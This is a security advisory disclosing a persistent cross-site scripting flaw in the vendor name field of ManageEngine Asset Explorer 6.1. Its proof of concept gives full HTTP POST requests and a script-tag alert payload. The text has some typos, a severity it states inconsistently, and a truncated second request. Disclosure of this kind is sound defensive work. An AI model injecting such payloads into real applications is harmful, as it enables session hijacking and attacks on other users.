Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered an application-side cross site scripting web vulnerability in the official ManageEngine v6.1 Asset Explorer web-application.


Vulnerability Disclosure Timeline:
==================================
2015-06-22:	Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Manage Engine
Product: Asset Explorer - Web Application 6.1.0 (Build 6112)


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Low


Technical Details & Description:
================================
An authenticated user with permissions to add new vendors can insert a cross site scripting payload into the vendor name field. This payload is then executed whenever any authenticated user visits either:
1.1 The edit page for the malicious vendor
1.2 The view contract page for a contract that is assigned to a malicious vendor

Vulnerable Product(s):
ManageEngine Asset Explorer

Affected Version(s):
Version 6.1.0 / Build Number 6112
(Earlier versions are likely also affected)

Vulnerability Type(s):
Persistent Cross Site Scripting


Proof of Concept (PoC):
=======================
The persistent cross site scripting web vulnerability can be exploited by remote attackers with low privileged application user account and low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

The cross site scripting payload is added by an authenticated user through a POST request to endorDef.do. The payload is then executing via GET requests to VenderDef.do or ContractDef.do.

PoC: The payload is added by a POST request to VendorDef.do:

	POST /VendorDef.do HTTP/1.1
	Host: [VULNERABLE]:8080
	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
	Accept-Language: en-US,en;q=0.5
	Accept-Encoding: gzip, deflate
	Referer: http://[VULNERABLE]:8080/VendorDef.do?toShowView=addForm
	Cookie: JSESSIONID=D44D55DB9E14A3EA1A1F478BD506CD9D; 2Homehelpexp=helpexpshow; 2Homehelpcoll=helpcollhide; nonitassetslinks=hide; Components=hide; virtual=hide; viewlinks=hide; Softwarediv=hide; itassetslinks=show; swHomeDefaultMfg=-1; swHomeDefaultSite=-1; swHomeGraph=sdp.inventory.home.softwaremetering.rarely; [object HTMLTableRowElement]=show; [object HTMLDivElement]=show; [object HTMLTableCellElement]=show; JSESSIONIDSSO=FA5EBD2894D00C9FB4C3192C85FF96CC
	Connection: keep-alive
	Content-Type: application/x-www-form-urlencoded
	Content-Length: 293
	itemID=&divToShow=detView&toShow=&organizationName=%3Cscript%3Ealert%28123%29%3C%2Fscript%3E&vendorCurrency=2&organizationDesc=&contactPerson=&doorNumber=&street=&landmark=&city=&postalCode=&state=&country=&organizationEmail=&organizationPhone=&organizationFax=&organizationUrl=&addButton=Save

PoC: Payload(s)
&lt;script&gt;alert(123)&lt;/script&gt;

Note: The payload is then executed when visiting the following pages as an authenticated user:

Edit vendor page:
http://[VULNERABLE]:8080/VendorDef.do?mode=edit&id=3

View contract page:
http://[VULNERABLE]:8080/ContractDef.do?contractID=1

Note: The second exploit vector requires the extra step of associated the contract with a vendor through a POST request to ContractDef.do:

	POST /ContractDef.do HTTP/1.1
	Host: [VULNERABLE]:8080
	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
	Accept-Language: en-US,en;q=0.5
	Accept-Encoding: gzip, deflate
	Referer: http://[VULNERABLE]:8080/ContractDef.do?coMode=editCO&cID=1
	Cookie: JSESSIONID=D44D55DB9E14A3EA1A1F478BD506CD9D; 2Homehelpexp=helpexpshow; 2Homehelpcoll=helpcollhide; nonitassetslinks=hide; Components=hide; virtual=hide; viewlinks=show; Softwarediv=hide; itassetslinks=hide; swHomeDefaultMfg=-1; swHomeDefaultSite=-1; swHomeGraph=sdp.inventory.home.softwaremetering.rarely; [object HTMLTableRowElement]=show; [object HTMLDivElement]=show; [object HTMLTableCellElement]=show; JSESSIONIDSSO=FA5EBD2894D00C9FB4C3192C85FF96CC

Security Risk:
==============
The security risk of the (persistent) application-side input validation web vulnerability is estimated as medium. (CVSS 3.5)
